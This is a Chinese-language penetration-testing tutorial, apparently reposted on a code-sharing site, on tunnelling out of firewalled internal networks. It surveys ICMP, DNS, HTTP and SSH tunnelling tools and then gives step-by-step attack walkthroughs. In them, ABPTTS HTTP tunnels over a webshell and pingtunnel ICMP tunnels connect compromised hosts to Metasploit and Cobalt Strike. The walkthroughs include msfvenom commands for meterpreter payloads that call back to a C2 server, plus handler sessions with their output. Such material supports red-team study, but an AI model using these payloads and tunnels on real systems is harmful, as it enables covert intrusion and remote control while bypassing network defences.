內網滲透之內網穿透


內網滲透之內網穿透

0x0 前言

網絡上關於內網穿透的文章很多,但大部分都是側重於工具的使用,原理提及較少。本文將從內網穿透的原理開始探討,根據不同的內網出網入網情況,靈活設計對應的內網穿透方案。

0x1 內網穿透原理

內網穿透是:利用各種隧道技術,以網絡防火牆允許的協議,繞過網絡防火牆的封鎖,實現訪問被封鎖的目標網絡。

什么是隧道技術呢?我們看一下百科詞條的解釋

隧道技術是一種通過使用互聯網絡的基礎設施在網絡之間傳遞數據的方式。使用隧道傳遞的數據(或負載)可以是不同協議的數據幀或包。隧道協議將這些其他協議的數據幀或包重新封裝在新的包頭中發送。新的包頭提供了路由信息,從而使封裝的負載數據能夠通過互聯網絡傳遞。被封裝的數據包在隧道的兩個端點之間通過公共互聯網絡進行路由。被封裝的數據包在公共互聯網絡上傳遞時所經過的邏輯路徑稱為隧道。一旦到達網絡終點,數據將被解包並轉發到最終目的地。注意隧道技術是指包括數據封裝、傳輸和解包在內的全過程。

我們進行內網滲透常用的隧道技術有dns隧道、http隧道、ssh隧道、icmp隧道等容易被網絡防火牆放行的協議。

這些隧道技術可以按所處的協議層分層。

  • 網絡層隧道

    ICMP隧道等

  • 傳輸層隧道

    TCP隧道、UDP隧道

  • 應用層隧道

    HTTP、DNS、SSH等隧道

內網主機所有可能的出網方式

  • 允許ICMP協議出網

    網絡防火牆允許ICMP協議出網,即能ping通外網主機,一般都能出網

  • 允許特定的TCP或UDP協議端口出網

    網絡防火牆允許特定的TCP或者UDP端口出網,比如連接外網的22、53、80、443、3389等常見應用的默認監聽端口。在一個不能出網的網絡環境里面,將所有的TCP和UPD端口都探測一遍,通常都能發現有一兩個常見的端口能出網。這通常是由於網絡管理員的錯誤配置和偷懶行為導致。比如配置的防火牆規則前后矛盾,解析的時候遇到匹配規則就退出執行;比如網絡管理員配置允許web服務器訪問另一子網的mysql數據庫的3306端口。網絡管理員配置時偷懶,可能會直接放行web服務器到任意ip地址的3306端口

  • 允許特定的應用層協議出網(比如HTTP、SSH、DNS等應用層協議)

    這種網絡防火牆能識別應用層的協議,放行允許出網的協議,比如HTTP、SSH、DNS、RDP等應用層協議;通常辦公網是允許HTTP協議出網的,可能會域名白名單限制
    內網主機所有可能的入網方式

  • 允許ICMP協議入網

    能ping通目標主機

  • 允許特定的TCP或UDP協議端口入網

    NAT端口映射公網IP端口到內網主機的服務端口,比如將web服務、mysql服務NAT映射到公網

  • 允許特定的應用層協議入網

    這種網絡防火牆能識別應用層的協議,放行允許入網的協議。比如HTTP反向代理,將公網收到的HTTP流量反向代理進內網主機。當前主流的入網方式,通常會加層WAF審查入網流量

    0x2 內網穿透常用工具

    0x2.1 網絡層隧道工具

  • icmpsh

    能通過ICMP協議反彈cmd,功能單一,反彈回來的cmd極不穩定,不推薦使用

  • icmptunnel

    創建虛擬網卡通過ICMP協議傳輸網卡流量,基於ICMP隧道的vpn,需要root權限,動靜極大,不推薦使用

  • pingtunnel

    tcp、udp、socks5 over ICMP,速度快,連接穩定,跨平台,client模式不需要管理員權限即可正常使用,推薦使用

0x2.2 傳輸層隧道工具

  • netcat

    網絡工具中的瑞士軍刀,不多介紹,linux系統一般自帶

  • powercat

    powershell版的netcat

  • socat

    具有記錄轉發流的功能,方便查看轉發內容,需要安裝

  • netsh

    windows系統自帶的網絡配置工具

  • lcx

    端口轉發工具

  • NATBypass

    一款lcx在golang下的實現,更好的跨平台,更完善的文檔

  • iox

    端口轉發 & 內網代理工具,功能類似於lcx/ew,簡化了命令行參數,支持UDP流量轉發,更好的跨平台。缺點:不支持監聽指定IP,默認監聽0.0.0.0:port,會增大暴露風險

0x2.3 應用層隧道工具

由於應用層協議極多,對應的隧道工具也很多,我們常用來做隧道的協議一般是DNS、HTTP、SSH、SOCKS等

  • dnscat2

    不僅可以創建DNS隧道,更是C2

  • dnscat2-powershell

    dnscat2的powershell客戶端

  • dns2tcp

    TCP over DNS,即通過DNS隧道轉發TCP連接

  • iodine

    IPv4 over DNS,即通過DNS隧道轉發IPv4數據包

  • reGeorg

    SOCKS over HTTP,即通過HTTP隧道轉發SOCKS

  • Neo-reGeorg

    重構版reGeorg,提高穩定性和可用性,避免特征檢測,更新活躍

  • reDuh

    TCP over HTTP,即通過HTTP隧道轉發TCP連接,隧道不穩定

  • Tunna

    TCP、SOCKS over HTTP,即通過HTTP隧道轉發TCP連接和SOCKS,隧道不穩定

  • ABPTTS

    TCP over HTTP,即通過HTTP隧道轉發TCP連接,數據加密,可自定義HTTP數據,對抗特征檢測十分優秀,創建的隧道十分穩定,比較遺憾的是支持的web腳本類型只有aspx和jsp

  • EarthWorm

    十分方便的多級SOCKS代理,已經永久停止更新

  • Termite

    EarthWorm的升級版,已經永久停止更新

  • Venom

    Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具。

  • ssocks

    正向和反向的socks工具,可執行文件的大小很小

  • s5.go

    go語言編寫的socks服務工具,良好的跨平台特性

  • ssh
    本地轉發:
    ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
    #ssh客戶端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由服務端轉發到114.114.114.114:9999
    遠程轉發:
    ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
    #ssh服務端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh客戶端,再由ssh客戶端轉發到114.114.114.114:9999
    動態轉發:
    ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
    # ssh客戶端監聽127.0.0.1:7777開啟socks服務,將收到的socks數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由ssh服務端轉發到目標地址
    構建ssh隧道的常用參數:
    -C 壓縮傳輸,提高傳輸速度
    -f 后台執行數據傳輸
    -N 建立靜默連接
    -g 允許遠程主機連接本地用於轉發的端口
    -L 本地端口轉發
    -R 遠程端口轉發
    -D 動態轉發,即SOCKS代理
    -p 指定ssh連接端口

0x3 實戰中的內網穿透案例

0x3.1 上線零出網的內網主機

實戰背景:獲取了webshell的主機位於內網,並且該內網主機icmp等網絡層協議不能出網,tcp和udp等傳輸層協議不能出網,dns、http等應用層協議也不能出網,唯一的數據通道是反向代理入網的web應用。

方案設計

利用反向代理入網的web應用所在的HTTP連接,構建正向的TCP over HTTP隧道。通過這條隧道,我們可以向內網主機發起tcp連接。生成bind類型的payload,通過webshell上傳執行就會監聽一個端口,我們的遠控平台通過構建的TCP over HTTP隧道,去連接監聽的端口即可上線。

能構建TCP over HTTP的隧道的工具有ABPTTS、Tunna、reDuh等,由於Tunna、reDuh構建的tcp連接不穩定,這里選用ABPTTS

0x3.1.1 上線metasploit

1.通過正向的http隧道構建tcp連接

# 配置abptts運行環境
# 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto

# 生成server端腳本
python abpttsfactory.py -o server

# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888

# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.10/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888

2.生成bind類型的payload,通過webshell上傳執行

# 這里的rhost和lport是轉發的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe

3.啟動msf監聽,等待meterpreter執行上線

#這里的rhost和lport是abptts客戶端監聽的IP和端口,msf所在主機必須能訪問到這個IP和端口,這里msf和abptts在同一個主機上

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run

[*] Started bind TCP handler against 127.0.0.1:7777
[*] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400

meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin

0x3.1.2 上線cobaltstrike

由於cobaltstrike的bind類型的監聽器僅有beacon TCP和beacon SMB,並且都必須連接到父beacon,無法直接連接cobalstrike服務端,所以我們需要一個父beacon來中轉連接。

1.通過正向的http隧道構建tcp連接

# 配置abptts運行環境
# 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto

# 生成server端腳本
python abpttsfactory.py -o server

# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888

# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.121/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888

2.創建反向的listener

3.生成父beacon

4.上傳父beacon到abptts客戶端執行上線

5.創建payload為tcp beacon的listener

6.生成stageless的子beacon

7.將生成的子beacon通過webshell上傳執行

# 可以通過webshell查看網絡監聽,確保子beacon執行成功
netstat -ano | findstr 127.0.0.1:8888

8.在父beacon中連接abptts的監聽ip和端口

9.成功上線不能出網的webshell內網主機

0x3.2 上線僅icmp協議出網的內網主機

實戰背景:通過某種信道獲取了內網主機的shell,但是當前信道不適合做遠控的通信信道(比如站庫分離的網站,我們通過sql注入獲取了數據庫服務器的shell,但是數據庫服務器只有icmp協議可以出網),tcp和udp等傳輸層協議不能出網,dns、http等應用層協議也不能出網,只有icmp協議可以出網。

方案設計

icmp協議可以出網,可以利用icmp協議,構建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上線遠控平台。搭建隧道的工具使用pingtunnel,它能通過icmp隧道轉發tcp、udp、socks5連接。

0x3.2.1 icmp隧道轉發tcp上線metasploit

1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 該命令的意思是icmp客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777

3.生成反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線

msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
# 這里的lhost和lport為icmp客戶端監聽ip和端口

4.啟動msf監聽,等待meterpreter執行上線

# 這里的lhost和lport為icmp客戶端轉發到的ip和端口

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:7777

meterpreter > getuid
Server username: DESKTOP-test0\admin

0x3.2.2 icmp隧道轉發socks上線metasploit

1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址

3.生成支持socks5代理的反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線

msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe

4.啟動msf監聽,等待meterpreter執行上線

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 8443
lport => 8443
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443

meterpreter > getuid
Server username: DESKTOP-test0\admin

0x3.2.3 icmp隧道轉發tcp上線cobaltstrike

1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777

3.cobaltstrike創建listener

# https host和https port(c2)為icmp隧道客戶端的監聽ip和端口
# https port(bind)為轉發目的地址的端口

4.生成反向payload的beacon

5.上傳生成的beacon到ICMP隧道客戶端執行,成功通過反向ICMP隧道上線

0x3.2.4 icmp隧道轉發socks上線cobaltstrike

1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址

3.cobaltstrike創建listener

# 這里的代理可以是socks或者http
# 好像cobaltstrike不支持socks5代理,這里並不能成功上線
# 這里也可以使用http代理,不過需要工具將http代理轉為socks5代理,比如privoxy

4.選擇創建的listener生成beacon上傳到目標執行即可上線

0x4 總結

內網滲透中內網穿透的本質,無非是通過各種通信信道,無論是正向的還是反向的,實現傳輸層協議tcp/udp數據包的轉發,應用層協議都是基於傳輸層的協議實現的。比如ABPTTS + SOCKS服務 = reGeorg

內網滲透中的內網穿透的條件,能通過某種通信信道遠程代碼執行。如果能通過某種通信信道遠程代碼執行,一定可以通過這種通信信道實現tcp/udp數據包的轉發,即TCP/UDP over something隧道。如果沒有現成的工具,可能需要我們自己開發。比如,通過sql注入獲取了shell,我們也可以利用這條通信信道轉發tcp/udp數據包,沒有現成的工具,需要我們開發工具而已,隧道客戶端將tcp/udp數據包封裝寫進數據庫,再由隧道服務端從數據庫中讀出封裝的數據包解包,發往對應地址即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM